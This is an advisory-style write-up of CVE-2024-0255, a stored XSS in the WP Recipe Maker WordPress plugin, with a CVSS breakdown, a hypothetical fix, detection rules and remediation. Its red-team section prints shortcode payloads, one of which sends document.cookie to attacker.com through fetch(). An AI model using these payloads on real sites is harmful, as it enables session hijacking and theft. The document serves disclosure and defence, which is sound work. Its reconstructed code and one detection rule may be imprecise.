CVE-2024-0255

Executive Summary

CVE-2024-0255 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.1.0. The flaw resides in the wprm-recipe-text-share shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The WP Recipe Maker plugin is distributed via the official WordPress plugin repository and is installed on thousands of sites. Since no patch is available, site administrators must consider disabling the plugin or applying virtual patching via a Web Application Firewall (WAF). The risk is amplified because the attack requires only contributor-level access, which is common in multi-author WordPress sites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – attacker needs contributor-level or above.
• User Interaction (UI): None – the victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the widespread use of the plugin and the lack of a patch elevate the risk for affected sites.

Deep Dive & Mechanics

The vulnerability exists in the wprm-recipe-text-share shortcode, which is used to display a shareable text snippet for recipes. The shortcode accepts user-defined attributes (e.g., text, url) that are rendered directly into the page without proper sanitization or output escaping.

Root Cause: The plugin fails to sanitize input and escape output for the shortcode attributes. WordPress shortcode attributes are processed by the plugin's handler, which concatenates user input into HTML without using functions like esc_attr() or esc_html().

Attack Flow:

1. An authenticated user with contributor-level or higher permissions creates or edits a post/page.
2. The attacker inserts the [wprm-recipe-text-share] shortcode with a malicious payload in one of its attributes, e.g., [wprm-recipe-text-share text="<script>alert('XSS')</script>"].
3. The plugin renders the shortcode, outputting the unsanitized script into the page's HTML.
4. When any user (including administrators) visits the page, the script executes in their browser.

Impact: The attacker can steal session cookies, redirect users to malicious sites, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (<= 9.1.0):

// In the shortcode handler, attributes are used directly without escaping.
function wprm_recipe_text_share_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'text' => '',
        'url' => '',
    ), $atts );

    $output = '<div class="wprm-recipe-text-share">';
    $output .= '<a href="' . $atts['url'] . '">' . $atts['text'] . '</a>';
    $output .= '</div>';

    return $output;
}

Patched Code (Hypothetical Fix):

function wprm_recipe_text_share_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'text' => '',
        'url' => '',
    ), $atts );

    $output = '<div class="wprm-recipe-text-share">';
    $output .= '<a href="' . esc_url( $atts['url'] ) . '">' . esc_html( $atts['text'] ) . '</a>';
    $output .= '</div>';

    return $output;
}

The fix uses esc_url() for the URL attribute and esc_html() for the text attribute, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Recipe Maker plugin version <= 9.1.0.
• An account with contributor-level or higher permissions.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the content editor, insert the following shortcode:

   [wprm-recipe-text-share text="<script>alert(document.cookie)</script>"]
   

4. Publish or save the post.
5. When any user visits the post, the JavaScript executes.

Advanced Payload:

[wprm-recipe-text-share text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing the wprm-recipe-text-share shortcode with suspicious attributes.
• Use a WAF to block requests containing <script> tags in shortcode attributes.
• Review user activity logs for unusual shortcode usage.

Prevention:

• Disable the WP Recipe Maker plugin until a patch is available.
• Apply a virtual patch via WAF rules that block XSS payloads in shortcode attributes.
• Restrict contributor-level permissions to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-recipe-maker/ – presence of the vulnerable plugin version.
• Database: Posts containing the shortcode [wprm-recipe-text-share] with suspicious attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing creation/editing of posts with the vulnerable shortcode.

Detection Engineering

YARA Rule

rule CVE_2024_0255_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects WP Recipe Maker plugin files with vulnerable shortcode handling"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0255"
    strings:
        $vuln_func = "wprm_recipe_text_share_shortcode"
        $unsafe_output = /<a href=['\"]\$atts\['url'\]/
    condition:
        $vuln_func and $unsafe_output
}

Sigma Rule

title: CVE-2024-0255 WP Recipe Maker Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in WP Recipe Maker shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "wprm-recipe-text-share"
        http.body|contains|all:
            - "text="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious text
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0255 WP Recipe Maker Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"wprm-recipe-text-share"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to site operations.
2. Apply a virtual patch using a WAF to block XSS payloads in shortcode attributes.
3. Review and restrict user permissions – only grant contributor-level access to trusted users.

Long-Term Fix:

• Monitor the plugin's official repository for a patched version (expected > 9.1.0).
• Once available, update to the latest version immediately.
• Consider using a security plugin that monitors for vulnerable shortcode usage.

Workaround:

• If the plugin must remain active, manually edit the shortcode handler to add output escaping (as shown in the patched code example).

Valters IT
Securing Digital Frontiers